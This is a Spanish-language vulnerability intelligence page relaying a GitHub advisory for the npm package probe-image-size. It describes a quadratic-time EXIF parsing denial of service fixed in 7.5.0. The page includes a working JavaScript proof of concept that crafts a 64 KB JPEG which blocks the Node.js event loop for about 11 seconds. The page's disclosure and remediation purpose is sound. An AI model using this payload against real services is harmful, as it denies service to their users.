llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · probe-image-size

GHSA-3QG4-7MQ2-GM93

El analizador EXIF copia arreglos de componentes sin límite por entrada, causando DoS de tiempo cuadrático con una imagen manipulada

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición25 dDesde la divulgación, 26 oct 2026, 5:47 p. m.
Detección23 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Nivel de alerta: llama mascando hierba.Traje la llave inglesa: esto se arregla.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 7.5.0
Monitoreo
Detectada +1
26 oct 26
19 nov 26
21 nov 26
26 oct 26
2 nov 26
8 nov 26
15 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-3QG4-7MQ2-GM93 divulgada
Remediación Parche 7.5.0 probe-image-size · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Resumen

probe-image-size lee por defecto la orientación EXIF de imágenes JPEG, WebP y AVIF, tanto mediante `probe()` como mediante `probe.sync()`. Su analizador de directorios EXIF (`ExifParser.scan_ifd` en `lib/exif_utils.js`) lee un campo `count` de 32 bits por cada entrada IFD y copia esa cantidad de componentes en un arreglo nuevo, rechazando una entrada solo cuando `count * component_size` supera el final del búfer. Un componente `BYTE` ocupa un byte, así que una sola entrada puede declarar un `count` tan grande como todo el segmento EXIF, y su puntero de datos puede apuntar al inicio del segmento, de modo que muchas entradas releen los mismos bytes. Un IFD contiene unas `segment_size / 12` entradas de este tipo, lo que hace que el análisis sea O(n^2) respecto al tamaño del segmento, con una asignación de arreglo adicional por cada entrada. Una imagen manipulada de 64 KB bloquea el bucle de eventos de Node.js durante unos 11 segundos.

Prueba de concepto

Reproducido con una instalación limpia de `npm install probe-image-size@7.4.0`.

const probe = require('probe-image-size')

// A 64 KB EXIF (little-endian TIFF) whose single IFD holds ~5400 entries.
// Each entry is format 1 (BYTE), count = the whole segment, data pointer 0,
// so scan_ifd copies `count` bytes into a new array for every entry: O(n^2).
const S = 65527
const exif = Buffer.alloc(S)
exif.write('II', 0)
exif[2] = 0x2a
exif.writeUInt32LE(8, 4)            // first IFD at offset 8
const entries = Math.floor((S - 14) / 12)
exif.writeUInt16LE(entries, 8)
for (let i = 0, off = 10; i < entries; i++, off += 12) {
  exif.writeUInt16LE(0x0100, off)   // tag
  exif.writeUInt16LE(1, off + 2)    // format = BYTE
  exif.writeUInt32LE(S, off + 4)    // count = segment length
  exif.writeUInt32LE(0, off + 8)    // data pointer = 0
}

// Wrap the EXIF in a minimal JPEG APP1 segment.
const sig = Buffer.from('Exif\0\0', 'binary')
const len = 2 + sig.length + exif.length
const jpeg = Buffer.concat([Buffer.from([0xff, 0xd8, 0xff, 0xe1, len >> 8, len & 0xff]), sig, exif])

console.time('probe')
probe.sync(jpeg)                    // ~11 s of blocked event loop for a 64 KB input
console.timeEnd('probe')

Una versión de 8 KB del mismo archivo tarda unos 70 ms; una imagen real, menos de 1 ms. La ruta asíncrona `probe(stream)`, que utiliza `probe(url)`, llega al mismo analizador y se bloquea durante el mismo tiempo. Un fragmento `EXIF` de WebP transporta la carga igual de bien, y su longitud de fragmento de 32 bits permite que el segmento supere el límite de marcadores JPEG.

Impacto

Analizar imágenes de una fuente no confiable es el uso principal de la biblioteca: una URL pasada a `probe(url)` para vistas previas de enlaces o miniaturas de feeds, o una carga pasada a `probe.sync(buffer)`. Una sola solicitud pequeña detiene durante varios segundos el bucle de eventos, que es monohilo, y unas pocas seguidas niegan el servicio a todos los demás clientes. El análisis de orientación se ejecuta con las opciones por defecto y no hay forma de desactivarlo; la misma entrada afecta a las APIs asíncrona y síncrona.

Esto es solo de disponibilidad, y únicamente alcanza a aplicaciones que analizan imágenes influenciadas por un atacante. Es una ruta de código distinta del analizador SVG con complejidad cuadrática, ya corregido en GHSA-gjj5-9665-rwrc.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
probe-image-size≤ 7.4.0
7.4.0
7.5.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmprobe-image-size
Corregida 7.5.0 0 d 7.5.0 no afectada
Versiones corregidas7.5.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/nodeca/probe-image-size/security/advisories/GHSA-3qg4-7mq2-gm93

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.